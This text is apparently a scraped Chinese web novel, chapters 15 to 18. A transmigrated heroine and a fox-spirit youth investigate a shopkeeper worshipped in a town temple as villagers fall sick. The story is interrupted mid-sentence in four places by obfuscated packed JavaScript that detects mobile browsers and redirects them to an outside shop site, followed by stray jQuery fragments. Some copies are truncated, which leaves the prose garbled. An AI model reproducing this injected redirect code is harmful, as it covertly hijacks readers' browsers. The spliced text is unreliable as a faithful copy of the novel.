雪虽然不大,落在身上冰冰凉凉的,总让人不太舒服。徐颂禾撑开伞,踮着脚想举过少年头顶,最后她放弃了尝试,把伞柄往他手里塞,“公子,你个子高,你来撑吧。” 没等他拒绝,那把伞便已经到了他手中。 手腕忽然被轻轻攀住,伞缘随之一抬,细碎的雪沫凝聚成珍珠簌簌落下。他垂眸,正撞见少女含着笑的眉眼,鼻尖沾着星点薄雪,那点白倒比雪还鲜活几分。 她就那么自然地钻到伞下,胳膊还顺带撞了他一下。祁无恙指尖微僵,本能地缩回手,把伞往旁边移了移,可他这边刚动,她便又立刻凑过来,肩头几乎要挨着他的衣袖。 “幸好雪不大,”她自顾自地说,“哎,那边有人,不如去问问阿方说的庙怎么走……” 才刚走进,那人的喃喃自语声便飘了过来∶“今日多亏了余掌柜,否则我儿可就要命丧食魂妖之口了。” 那人并未打伞,迎着雪花走进了一座庙中。还未拍净身上的雪,便膝盖一弯,扑通一声跪了下去,将担子里挑着的水果整整齐齐摆在了雕像前,又点了几支香插上。 “余掌柜,您的恩情我这辈子都还不清了,只恨我也做不了什么,这点心意还请您笑纳……” 那模样极为虔诚。 徐颂禾紧随着走进来,恰好撞见这一幕,她视线顺着往上移,看清那尊雕像的面容后,不由得倒吸了口凉气。 它为什么会和余掌柜长得一模一样? 难道说……但为什么要给一个活的好好的人立雕像? 她张了张口,刚想问话,手臂忽然一凉,只见少年收了伞,还挂着水珠的伞便蹭到了她身上。 “那里不是有位置吗?” 她看了看旁边空空如也的大门,感到奇怪。 祁无恙微微一笑,将伞随意搁在一边,语气散漫∶“这样不是扯平了么?” 扯平什么? 徐颂禾愣了愣,不明所以地看着他。 等等,他说的不会是刚才打伞的时候,她不小心撞了他这件事吧? 她有些难以置信,看向他的眼神跟着变幻。 这是什么新型“报复”方式吗? 这个人怎么这么幼稚啊! “你们也是来供奉余掌柜的吗?” 跪着的人不知何时站了起来,此刻正直勾勾看着他们。 “我们……是来躲雪的,”徐颂禾思绪被拉回来,她看着地上那一小滩由雪化成的水,再看看台上摆着的各种水果,更觉奇怪∶“你要感谢余掌柜,为什么不拿着水果去找他,而是要来这里?” 那中年汉子摆摆手,叹道∶“余掌柜向来心善,从前不管帮我们再多,也不肯收我们半点好处。说来话长,这座庙还是大家伙背着他偷偷建的……” 余掌柜来之前,这镇子里还有另一座庙,是供奉药仙的。传闻中他们这一带交由药仙掌管,不管生了什么病,只要拜上一拜,就可得到保佑,从此无病无灾。 可有一日,镇子里突然死了一个人,大伙还没能从悲痛中抽离,第二天、第三天……紧接着又相继死了不少人,大家慌了,供奉药仙时的眼神从哀求到疑虑,最后变为绝望。绝望过后,镇子里的人已经没了一半,大家都说药仙不管他们了,只知道吸食生机,却不管人生死,再留着也是白白浪费香火,次日便把那庙宇给拆了个干净。 “传说都是假的,”汉子摇摇头,道∶“指望药仙有什么用?这关键时刻,还得是余掌柜从外地迁了过来,开了一家药铺,从此大家伙都不愁生病没地医了。” 徐颂禾安安静静地听他说完了才问∶“所以这座庙是余掌柜让你们建的?” 汉子赶紧道∶“不不不, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16505315|185800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掌柜的从不会主动开口向我们索要好处,这还是我们无意间偷听到的——掌柜的说他毕生所愿便是能有座属于自己的庙宇,我们能为他做的不多,也只能这样报答他了。不过说来也怪,每次上完香后,我都觉得身体倍棒,像有了使不完的力气,这余掌柜可真是神了,连雕像也有如此大用处。” “我该走了,二位还有什么想知道的,明日再问问其他镇民吧。”他挑起空荡荡的担子,缓步走了出去。 这么说来,余掌柜也和阿方一样,不是这镇子里原本的人? 徐颂禾抬头端详那尊雕像,又想起方才那中年大汉说的话,一股热流不禁从脚底涌上来。 神仙都没能做到的事,却让一个凡人给做到了。这凡人还能亳无所求,一心想着百姓们好,多难能可贵。 隔了一会,她收回目光,发觉另一道视线落在自己身上。 她在看雕像的时候,那少年也正默默看着他。 徐颂禾赶紧抬手擦了下脸,摸到一丝冰凉湿润的东西——是眼泪,她居然听哭了。 她感动有些不好意思∶“你、你不要这样看着我了……” 她就是这样一个感性的人,有什么办法嘛? “我只是好奇,”祁无恙没把视线从她脸上移开,将她的眼泪和她擦眼泪的动作看一齐收入眼底。他勾了勾唇,语气里带着一丝玩味∶“如果有人给你送了块馒头,你也会哭吗?” 徐颂禾认真思考了一下问题,最后才说∶“如果是在我快要饿死了,但他食物充沛的前提下,我只会感激;但如果他也同样缺少食物,却还是愿意和我分享,我会抱着他大哭。” “可第二种情况在像我这种普通人身上根本不可能出现,除非面对重要之人,我是不会在自身难保的情况下还去想着别人的。” 她说了这么长一段话,中间还夹杂着几声抽泣,但他没什么耐心听完——她的思维似乎很是跳跃,说的话也让他感到些许烦躁,对一样东西难以理解时的烦躁。 他冷笑一声,声音不咸不淡∶“你最好祈求日后不会因为眼泪流干而死。” “……我不会,不劳公子关心了。” 她好不容易鼓起勇气顶回去了一句,就听见系统提示音疯狂尖叫∶“宿主,他一定是爱上你了。” 徐颂禾∶“……什么玩意?” “你都怼他了,好感度还没有下降,这不是喜欢是什么?”它分析得头头是道。 “怎么就喜欢了?你能不能靠谱一点?” 她无奈地翻了个白眼,算了一下好感度总共也才不到二十,顶多就是不会杀她,偶尔出手救她一命,离喜欢还早着呢——不过这点也够了,徐颂禾觉得自从好感度有所上升开始,她就已经不害怕他了。 要知道以前她对这位攻略对象多少还是有点发怵的,生怕好感度还没达到,自己就先死在他手里了。 外面的雪小了些,徐颂禾把小白放在地上,摸了摸它的脑袋∶“小白,你是不是也饿了呀?在这里等着,我去找点吃的。” 她刚走出两步又回过头唤∶“公子,你想吃什么?” 祁无恙闭着眼倚在门边,随意抛出二字∶“随意。” 16. 第 16 章 她运气很好,这会天还没完全黑,刚出门便碰见几个生火的农民,好心给了她几根木柴,还给了几个红薯。 徐颂禾不敢在靠近庙的地方生火,特意找了棵高大点、能遮住雪的树,放下木柴后,她跑回庙里想把小白抱出来。 “小白呢?” 她杵在门口,庙里空荡荡的,只有一人面对着雕像负手而立。 听见她的声音,他转过身,嘴角抿起一道浅浅的弧度∶“走了。” “走了?”徐颂禾看了看四周,没发现那个雪白的身影,惴惴不安地问∶“走去哪了?” “我怎么知道?”祁无恙坏笑一声,扬起下巴示意她看那被破坏得乱七八糟的供桌。 只见供桌上的水果都多多少少沾了灰尘,看样子是被打翻在地后重新捡回去的。 “它打翻盘子,被人赶出去了,”祁无恙摊摊手,满脸无奈,“现在应该已经冻得身体僵硬了吧。” “……” 徐颂禾不想和他废话,转身便奔出去,地上积雪不厚,她一脚踩上去,溅起薄薄的雪沫。 “小白,小白……” 但兔子怎么可能听得懂人话呢?她的呼唤被寒风卷得七零八落,她踩着雪四处转,眼睛不肯放过每一处角落。 雪虽然不大,但小白的就那么小一只,哪里抵得住呢? “看来还是喊得不够大声,它怎么不理你?” 一道轻飘飘的衣摆掠过树丛,徐颂禾转过头,对上那直勾勾投来的视线。 “可我已经很大声了。”她又焦急又无奈,不会真像他说的那样,等找到的时候只剩一具被冻僵的身体了吧? 祁无恙视线漫不经心地从她脸上扫过,笑了一声∶“你走得再远一点,它就能听见了。” 徐颂禾狐疑地盯着他,半信半疑地又往前走了几步,刚要开口,就听见身后传来沙沙声。 少年俯身在低矮的草丛里随意一捞,一个瘦小的白色身影便出现在他的手里。 兔子使劲蹬着两条后腿,大概是被冷得没了力气,蹬了两下后,蔫了似的趴在他手上,两只红宝石般的眼睛向她看过来,那模样十分可怜。 祁无恙皱了皱眉,开始后悔自己方才的举动——真奇怪,他为什么要主动去碰一只长满了毛又脏兮兮的兔子?她如果一直找不到它,那就让它冻死在外面好了。 “小白,太好了,幸好你没事……” 悬着的心还没放下,那只揪着兔耳朵的手毫无征兆地松开,徐颂禾一惊,赶紧扑过去捧住了它。 她轻轻揉着怀里的兔子安抚它,还能听见自己未平息下来的心跳声,“你下次不许再乱跑了,我要是找不到你了可怎么办?” 徐颂禾抬起脸,看见那个差点把兔子摔坏的“罪魁祸首”正蹙眉看着手心,一脸嫌弃厌恶的模样。 她抱起兔子,缓步走到他身边,笑吟吟地看着他∶“公子,我知道哪里有净手的地方。” 一团明亮的火焰随着啪嗒一声响生起来,映得雪地红彤彤一片。 徐颂禾手里捏着红薯,把它用木棍串起来,架在火上烤。 方才受了惊的兔子这会在她怀里时不时探出头,大概是觉得安全了,杂乱的毛发逐渐舒展开来。 “好感度加五,好感度达到二十,恭喜宿主解锁新剧情。” 嗯?还有意外奖励? 哦对了,徐颂禾想起来这家伙刚开始就说过,好感度可以兑换道具。 “可你不是说我到来后所有的剧情都会发生改变吗?”她觉得这不靠谱的系统说话好像有些矛盾,“那还是别告诉我了,不如给我些实用的道具,好歹下次见到妖怪就不用那么狼狈了。” 然而系统毫不理会她,完成任务似的自顾自说∶“请宿主选择一位研究对象,我将让您知晓他的过往。” 好吧,既然它非要说,那就没办法了。徐颂禾没有犹豫地看了看身旁的人,他们之间隔着一层薄薄的烟,少年身影隐没在烟雾之中,影影绰绰的,换了无数张脸,唯一一成不变的是那双深不见底的眼眸。 她一直觉得那双眼睛生得太漂亮了,天下星河仿佛都在其间流转,仿佛有魔力一般,目光相撞的那一刹那,便能叫人移不开眼。 “就他了!我总不能对攻略对象一点都不了解吧。” 下一秒,一个滑溜溜的玻璃状的东西落到了她手心。 “这是未来夫君祁无恙的童年碎片,请宿主收好。” 这个马大哈,怎么就这样给她了?徐颂禾心虚地瞟了一眼旁边的人,确认他没朝自己这边看过来后,假装无事发生地把碎片收进了袖中。 做完这些后,她抬起头,发觉那双漂亮的眼睛也正看向她。 心脏多跳了一下,徐颂禾弯着眼睛朝他笑∶“公子,方才多谢你。” 祁无恙收回目光,漫不经心望向别处,“可惜了,若不是你反应还不算慢,我早就该把它摔死。” “……” “刀子嘴豆腐心的家伙。”徐颂禾很小声地嘀咕了一句。 可他却看了过来∶“什么是刀子嘴豆腐心?” 没想到被他给听见了,徐颂禾踌躇了一下,眼眸弯弯地看着他∶“就是指像公子你这样的人,明明心肠那么好,却总要在帮助别人后说些和自己心中所想相反的话。” 祁无恙神情若有所思地凝滞了片刻,随后嗤笑一声∶“那恐怕你说错了。” 红薯的外皮颜色逐渐加深,一股香甜的气味在空气中蔓延开来。少女收回发酸的手,将烤熟了的红薯从木棍上取了下来。 “公子,你也来一点吧。” 徐颂禾捧着掰下的一半烤红薯递出去,月光照进她黑漆漆的眼瞳里,像盛满了星星。 刚烤好的红薯还冒着热气,焦糖色的外皮耷拉下来,贴在她手背上,若此刻有路人经过,也本能不为那香味垂涎欲滴。 然而祁无恙眼皮都懒得抬,他双手枕在脑后,斜倚在一棵树旁,轻阖双眼,分明没睡着,却故意不回她的话。 徐颂禾也不执着要他回答,她低头在自己的那半个上掰下一小块,喂到兔子嘴边。 小白扭过头,似乎不太想吃。 “这种天气我不知道上哪给你找胡萝卜去呀,”徐颂禾无奈地摸了摸它的脑袋,“不吃的话,可就没有东西吃了哦。” 奇怪的是,不知小白是不是听懂了这两句,片刻后,竟真的把头转回来,小口小口咀嚼起红薯,在上面留下几个小小的牙印。 徐颂禾抱起它,又看了一眼身旁阖眼静坐的人,轻声道∶“公子,外面风冷,我先带着小白进去了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16511558|185800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他没有说话,随着一阵脚步声从自己身旁经过,这个世界似乎都安静下来,只剩风拂过枝叶的沙沙声。 不知过去多久,祁无恙睁开了眼,他沾雪的眼睫垂下来,看见地上那个被包裹得奇形怪状的大树叶。 一阵风轻轻扫过,吹开了树叶的一角,他将要移开的视线又移了回去,眉心微微一动。 那是半个被裹得严实的烤红薯,没有沾到半点灰尘,把它拿在手里,还隐隐有余温从树叶透出来,渗透到掌心。 * “系统,怎么使用碎片?” 徐颂禾躲在雕像后,确认暂时没有人会进来后,把小白放到一旁,悄声问道。 “手心触摸五秒即可,”系统提醒道∶“请宿主在使用前确认旁边是否有人。” 她听完便把手放了上去,满不在乎地看了眼旁边的兔子∶“没人没人,小白又不是人。” 碎片中隐约有亮光射出来,徐颂禾聚精会神地盯着它,又听见系统的声音说∶“两种回忆模式,旁观者和身临其境,请宿主选择。” 什么身临其境一听就很危险,她一个手无缚鸡之力的人,穿进去万一碰到什么麻烦那就完蛋了。 “我选旁观者。” 静候片刻后,碎片开始变得模糊,几道黑影浮现出来,紧接着他们的脸上出现了较为清晰的五官。 那是一大群人,看周围的环境,似乎是个村落。 碎片聚焦在了两个人身上。 一女子手里牵着个头不高的少年,所过之处草木皆枯,遍地血迹,和地上横七竖八的树枝躺在一起的,是人们早已没了气息的尸体。 女人把他带到一口井边,手上似是用了很大力气,五指在他手背留下痕迹。 少年扯住她衣角,一行清泪从脸颊淌下∶“娘,我不走……娘,不要让我走,你们都死了,我还活着干什么?” 徐颂禾微微睁大眼,呼吸骤然凝住。 这张脸,她好像在哪见过。 是在被流云宗抓去时,出现在门口的少年身上。 这样好看的一张脸,也只有他会有了吧。 “听话。”被唤作娘的女人抚摸着他的头发,可仔细看时,她的眼眶里也有泪花泛起,“躲在里面,不论听到什么,都不要出来,好吗?” 那声音太温柔了,没有人站在她的面前,还能做到不听她的话。 包括这浑身发抖的少年。 他回头朝母亲望去最后的一眼,狭小的空间内,阴影从头顶笼罩下来,他很快和黑暗融为一体了。 镜头对准了外面的人和尸首,死了的人只能静静躺着,活着的人举起手中武器,高喊着“誓死不屈,赶走入侵者,为族人报仇”一类的话。 是谁要侵略他们的领地,杀了他们的族人吗? 独自困在井底的少年怎么样了呢?他一定很害怕,很绝望吧? 瑟缩在黑暗中的人抱住双膝,蜷成小小一团,他的头上竟生出了一双毛茸茸的耳朵。 携带着雪粒的风涌了进来,她抬眸,碎片中的少年和面前的身影交叉,那双狐耳朵在他们彻底重叠的那一瞬消失了。 少年垂着眼的模样看不出半点情绪,关上的门将寒意拦在了外面,他勾起唇,眼底却没有笑意。 “你在看什么?” 17. 第 17 章 “没、没什么。” 徐颂禾把那块碎片捏在手中,紧张地盯着他,手心沁出汗来。 “宿主不用慌张,碎片使用结束后就会自动消失的。” 她低头一看,碎片果然不见了,只有一条条水纹顺着手心滑下来。 徐颂禾朝他笑了一下∶“公子,我还以为你今夜不进来了。” 少年倚在门边,夜色深了,月光透过一层薄薄的窗户射进来,洒在他的眉眼之上。 “我很早就进来了,”他淡淡开口,“只是不知何物让你看得如此入迷,竟丝毫未察觉。” 早就进来了? 徐颂禾笑容僵了一瞬——那在他看来,自己方才岂不是一直在对着块玻璃碎片傻愣? “我就是在想些事情,”她收起尴尬的神色,一脸真诚地说∶“在想怎么帮你找回身体。” “想到了吗?” “……暂时还没有。” 她说完又觉得奇怪∶“公子,你的身体,你感应不到他在哪吗?” 她还没有见过他的真身长什么样,要怎么帮他找啊?心有余而力不足。 “有啊。” 迎着她露出些许期待的目光,祁无恙轻笑一声∶“你猜我为什么会来这里?” 徐颂禾“啊”了一声,紧张地扫视四周∶“你、你的意思是,他就在这里?” 这只是其中一处罢了。 “就在那位让你感动了两次的好心掌柜身上,”他视线从她脸上掠过,像是能洞察她心中所想,“我说他不是个好人,你信吗?” 徐颂禾愣了一下,在脑子反应过来之前便开口道∶“我信。” “是吗?”祁无恙微眯起一双眼眸,忽地俯身逼近,一阵清冽的气息瞬间笼罩了她,“可你今天才说他是个好人。” “我最厌恶欺骗。” 她如果现在敢对他撒谎,那日后就会背叛他,与其把一个随时会叛变的人带在身边,不如早点杀了的好。 徐颂禾听出他语气里那细微的不悦,立刻警觉起来,举起三根手指发誓∶“公子,我是跟着你的,我只相信你,你说他是好人他就是,你说他不是那就不是。” 他没有回答,她也不知道自己这一番话能不能让这位祖宗相信。 半晌,祁无恙扬起唇,一个未达眼底的笑驱散了方才的不快,“你的兔子不要你了。” “啊?” 徐颂禾看了看他恶作剧般的神情,发自内心地疑惑了一下,紧接着才注意到旁边那个白团子已经不见了。 “哎,小白——” 她揪起供桌上的兔子,庆幸它这回没把供品摔坏,“都和你说了不许乱跑啦,怎么不听话呢?” 然而小白奋力挣了一下,从她手中脱落出来,一蹦一跳地瑟缩在角落里。 “你怎么了?好了好了我刚才没有骂你,你别……” 徐颂禾抱起它想安抚,在触碰到它的毛时却顿了一下。 它居然在发抖。 “是生病了吗?”不会是刚才冻坏了吧? 她轻轻抚摸着它,直到那一抖一抖的软毛终于平静下来时,一颗苹果忽然飞了过来,不偏不倚砸在脚边。 那兔子似乎受了极大惊吓,剧烈蹬着腿,像颗子弹似的往她怀里钻。 “别害怕呀,这只是苹果,又不是炸弹。” 可它的反应更激烈了,不知道的还以为这不是苹果,而是催命符。 徐颂禾蹙起眉,把苹果凑到鼻子下闻了闻,“奇怪,不就是苹果的味道吗?不过你不喜欢的话,我把它拿远点就是了……” “你没有灵丹,当然闻不出它的异样。”少年淡淡瞥她,将那颗苹果放在手中掂了掂。 徐颂禾看了看瑟瑟发抖的小白,满脸狐疑∶“可是它有灵丹吗?它就是只兔子。” 祁无恙目光扫过去,那兔子似乎感觉到这样一道视线,触电般缩了回去。 “你怎么知道它是只普通的兔子,还是兔妖?” “我……” 被问住了,她的确不知道。 她怎么给忘了,这个世界根本就不正常,兔子大概率也不会只是普通的兔子。 徐颂禾垂下头,小白也正从怀里探出脑袋,露出一双眼睛看着她。 但是这么可爱的小东西,就算是妖怪又能怎么样嘛!而且系统都没有提示危险,说明它起不到什么威胁的啦。 她很快回归正题,仰起脸看着祁无恙问∶“公子,那这苹果有什么异样?” “也没什么,”他垂着眼皮,看上去神情恹恹,“你想知道,就自己去问那姓余的,他不是好人么?” 徐颂禾∶? 余掌柜是不是好人这事暂且不说,他怎么这么倒霉,不知道哪里惹到这位大佬了。 “可这里只有我们两个了,”她有些好奇∶“公子,你为什么觉得余掌柜不是个好人?难道这苹果也和他有关系?” “不是让你自己去问他吗?” “可是他不在这。” 空气安静了一瞬,短暂的对视过后,少年转过身,轻飘飘的衣摆从她面前拂过。 他一抬衣袖,大门便“砰”的一声撞开,紧随着一道矮小的身影出现在飘雪的屋外。 “现在在了。”祁无恙回头看她,眼底噙一丝意味不明的笑。 徐颂禾顺着他的目光看去,看见了僵在原地,同样震惊的余百岁。 “掌柜的,您怎么来了?” 余百岁很快收起了那副怔愣的神色,脸上又重新布满慈祥的笑∶“哎哟,你们两个怎么在这里?阿方不是领你们去住的地方了吗?” “我们实在过意不去,就特意来想为您的雕像上柱香,”徐颂禾赶紧随便找个理由搪塞了过去,随后眨眨眼睛,又问了一遍∶“都这么晚了,您还到这里来做什么呀?” 余百岁摸了把下颌,视线落到了她怀里那只兔子上,嘿嘿地笑了两声,道∶“这附近经常有小动物跑来躲雪,我来看看今晚还有没有,把它们给冻坏了可不好。” 他说罢,目光从供桌上扫过,又笑道∶“二位不必如此客气,我身为医者,救人也不过是出于本心。不过你们若实在见外,不如跟我回药铺去,帮我干些杂活。” 末了,他温和地补充道∶“放心,不会累着你们。” 徐颂禾低着头和小白面面相觑,在余掌柜转身出门时才赶紧追上去∶“掌柜的,你等等我们。” “公子,你不去吗?”路过祁无恙身边,她停下来看着他,极小声地问。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16517943|185800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他垂眸撞上她的视线,语气里听不出什么情绪∶“你不是说,只信我的话吗?” “我的确相信你,所以我现在已经不完全信任他了。”徐颂禾拽了拽他的衣角,想让他跟上自己,“可是就是因为怀疑,所以才要跟着他呀,看看他到底有没有做什么不好的事……” “哦。” 祁无恙睨她半晌,最后在余掌柜停下脚步朝他们投来疑惑的视线时,才淡淡吐出一个字。 徐颂禾松了口气,连忙拉着他袖口跟上余百岁的脚步。 雪还在下,断断续续的,像天上仙女撒下的盐粒子。她转过头,看见他的头发和肩膀都落了薄薄一层白。 药铺后院的门虚掩着,余百岁推开门时,一股浓重的草药味混着些许奇异的甜香飘了出来。徐颂禾脚步顿了顿,怀里的小白突然剧烈挣扎起来,爪子扒得她手腕发疼。 “这兔子倒是胆小。”余百岁回头笑了笑,眼角的皱纹挤在一起,“许是闻不惯药味,姑娘要不先把它放在外间的竹笼里?” 小白仿佛听懂了似的,动作更剧烈了。 徐颂禾顺毛安抚着它∶“不了,它可能怕生,待上一会就能好了。” 余百岁闻言点点头,带着他们去了各自的房间,又留了一盏蜡烛,随便嘱咐几句后,便转身离开了。 “你相信他?”祁无恙倚在门边,双手环抱在身前,似笑非笑地看着她,“不怕这屋里藏了什么东西?” 从前怕死怕的要命,现在随随便便见到个人都能相信了。 徐颂禾摇了摇头∶“不是信他,我是信你。” 他不说话了,眉梢微挑,等着她继续说下去。 “公子你那么厉害,一个余掌柜算什么呀?” 月光斜斜照进来,透过她青色的披风,穿过背后那一头稍许凌乱的黑发,将她整个人都笼罩住了。 她怀里没有了那只碍眼的兔子,站在他面前,像是一块透着光的玉。 徐颂禾笑了笑,眼睛弯弯的∶“而且,公子不是说,你的身体和他有关吗?那不管有多危险,都是要来的。” 少年眼底方才那点试探和讥诮似乎淡了些,他偏了偏头,眉眼都洒上了月光,“和你有什么关系?你现在不怕死了?” 不是她不怕,关键是现在这种情况她也不知道去哪里能活啊…… 还不如跟在大佬身边,起码他现在对自己的好感度有二十了,应该暂时不会伤害她的。 可能……还会顺手保护一下她。 徐颂禾当然不会把这些话说出口,也不想再继续这个话题。她在他手臂上轻轻推了推,作势要关门。 他就要转身离开时,她却又突然唤住了他,在少年疑惑的目光下比了个口型。 “公子,晚安。” 祁无恙微微一顿,蹙起的眉尖代表他真真切切地感到困惑∶“‘晚安’是什么意思?” 哦对,忘记他和自己不是一个世界的人了。 不知道该怎么解释这个问题,但考虑到对面站着的是自己的攻略对象,徐颂禾没有过多思考便轻笑了下,一个浅浅的酒窝浮现在脸侧。 “在我们那边,‘晚安’是只对喜欢的人说的,意思就是……祝你一夜好梦,醒来后,你梦见的一切都会成真。” 18. 第 18 章 “系统,刚才的碎片……我能不能问几个问题?” 徐颂禾坐在榻上,烛光把狭小的房间照得亮堂,屋外风声呼啸,屋内安安静静的,她听见系统的声音不慌不忙响起∶ “现在为宿主介绍记忆碎片内容……” 然后那阵电流声响得乱七八糟,像是要爆炸了。 “祁无恙,真身九尾狐狸。n年前狐族世代守护着灵脉,却也因此遭到无数外人觊觎。后来各大宗门联手对狐族进行大肆屠杀,祁无恙父母身为狐族长老,把他和灵脉一同藏进井底后,和其余族人拼死抵抗,最终共赴黄泉。” 少年身影被黑暗吞没前,那糊满眼泪的脸上绽放出的凄惨笑容浮现在视线中。风中缝隙中灌进来,桌案上烛火摇曳,将墙面上的影子逐渐拉长。 播放结束后,电子音消失了,四下寂静,她只能听见自己加快的心跳声。 半晌,她听到自己的声音小心询问∶“当年屠了狐族的……是流云宗吗?” “不全是。” 徐颂禾呼吸一滞——单单一个流云宗就已经够要她几条命的了,那当年族人死后,他独自面对那么多敌人,该有多绝望? “那灵脉被抢走了吗?” “灵脉就在祁无恙身上,拥有了灵脉的人将获得不死之身和无边的灵力。” 难不成抢夺他真身的人也是奔着灵脉来的?系统说灵脉还在他身上,可是他们同行了这么久,她怎么什么也没有看见? 徐颂禾咽了咽口水,决定问一个大的∶“抢走祁无恙真身的人是谁?他的身体现在又在哪?” 方才那阵爆炸似的电流音又来了,系统经历了一番头脑风暴后回答∶“请宿主不要提问碎片以外的问题,系统也是有上限的。” “……好吧,真是辛苦你了。” 系统又提醒道∶“宿主往后可要小心些,祁无恙和正常人不太一样,他……他心狠手辣,还睚眦必报,攻略归攻略,你可别惹到他,小心小命不保!” 徐颂禾蹙起眉,不悦道∶“他行事是有些古怪,可也没伤害过无辜的人,都是那些人先来招惹他的,你怎么能随便用这么不好的词来形容他?” 系统见劝不动,很快消音了。 她和衣躺下,却怎么也睡不着。 从前她以为他总是无所不能,对任何事都游刃有余的,却没想到这位攻略对象居然还有一段这么可怜的过往。 所以……流云宗的人会来追杀他,也是因为想要得到灵脉? 他一直不以真容示人,是不是想逃避这无休止的逃亡…… 毕竟身边总有人觊觎自己的东西,想要自己的命,再厉害的人也是会累,会害怕的吧? 她想了一会,奈何眼皮招架不住,很快阖眼进入了梦乡。 次日一早,天色尚未亮起,窗外送来一阵叫喊声,徐颂禾揉了揉惺忪的眼睛,打着呵欠摸索着点亮了蜡烛。 那急促的脚步声中还夹杂着一阵哭泣,她轻手轻脚地打开门,探出头往外看去一眼。 门刚打开一条缝,她就被一阵突如其来的嚎啕声淹没了。 “余掌柜,求你救救我的孩子……他就快不行了,如果他有个什么三长两短,我也活不下去了啊!” 女人身上落满了雪,怀里的孩子却干干净净,只见他脸颊通红,双眼紧闭着,像是昏死过去了。 她哭得实在可怜,徐颂禾站在不远处看着,心脏跟着揪起来,生怕她也一起晕过去了,正要奔过去把人扶起来,就听见“吱呀”一声,药铺的门被一只手打开了。 余掌柜背着双手,满面愁容地扶起她,“快进屋——孩子怎么了?” 女人踉踉跄跄地跟进屋,抽噎道∶“我……我也不晓得,昨日分明还一切正常,可不知怎的,我一觉醒来,孩子和丈夫都成了这副虚弱不堪的模样。” 余百岁皱起眉,看向她身后∶“孩子爹呢?” 女人含着泪叹口气,摇摇头∶“他走不动了,只能卧在榻上。我……我实在是没有办法,只好带着孩子过来找您了。” “你莫着急,待我瞧上一瞧。” 余百岁搭上他细小的手腕,紧锁的眉头逐渐舒展开来∶“无甚大碍,这些药你收好,阿福的那份也在里面了。” 女人一听,当即感激涕零,恨不能立刻跪下给他磕几个响头。 “掌柜的,眼下风大,不如我来送这位姑娘回家。” 这声音乍一响起,两人才注意到屋内还有一人。 徐颂禾静静站在一旁等着余掌柜诊断完,直到听见那女人要抱着孩子回家,才出声道。 余百岁点点头,神情看上去有些疲惫∶“也好,既如此,你把这些药带着,若是路上碰到同样不适的镇民,就给他们。” 她应了声好,接过篮子时低头飞快扫了一眼。 只是普通的药丸,一颗颗又大又黑的,看上去没什么异样。 走出药铺,徐颂禾回头看去一眼,发现药铺的蜡烛已经熄灭了,静悄悄的没有一点声音,想必那余掌柜是重新睡下了。 一束红光从远处连绵的群山间迸发出来,像是一瓶被推倒的红墨水,迅速染红了整片天空。 雪越来越小了,徐颂禾握着伞柄的手倾斜着,余光时不时往旁边瞥去,确保没让这母子俩淋到雪。 “姑娘,真是辛苦你了,下雪天还送我们回来。”女人推开一间房子的门,徐颂禾顺势往里一看,瞧见榻上正直挺挺躺着一个黑乎乎的身影。 “不客气,”她笑了笑,提了提手中的篮子,“我帮你送进去就走。” 女人赶紧侧身让她进来,又冲着床榻喊了两声∶“余掌柜给的药来了,孩子有救了,你也有救了。” 这床上躺着的便是这位女子的丈夫阿福了,徐颂禾本无意打听别人家事,她从篮子里匀出一点药搁在桌案上,转身要走时,视线不经意间从床上那人身上扫过。 这人……怎么有点儿眼熟? 她略微一顿,没忍住细看了两眼。 想起来了,这不是昨日在庙里碰见的那位中年汉子吗? 说来也奇怪,他那时还夸夸而谈,说是每每给余掌柜的雕像上完香后,身体都倍棒,这回怎么才第二天就倒下了? “姑娘,可还有别的事?” 一声略带踌躇的询问打断了她的思绪,徐颂禾回过神来,这才意识到自己居然这么没有分寸地在别人家里看了这么久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16522623|185800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “抱歉,希望您的丈夫和儿子早日康复。”她淡淡而又带些尴尬地一笑,随后提起药篮子,头也不回地奔了出去。 “哎哟——” 眼前一花,显然是撞到了什么东西。徐颂禾还没琢磨清楚,一听见对方吃痛发出的叫声,便急忙道歉∶“我不是故意的,你没事吧……” 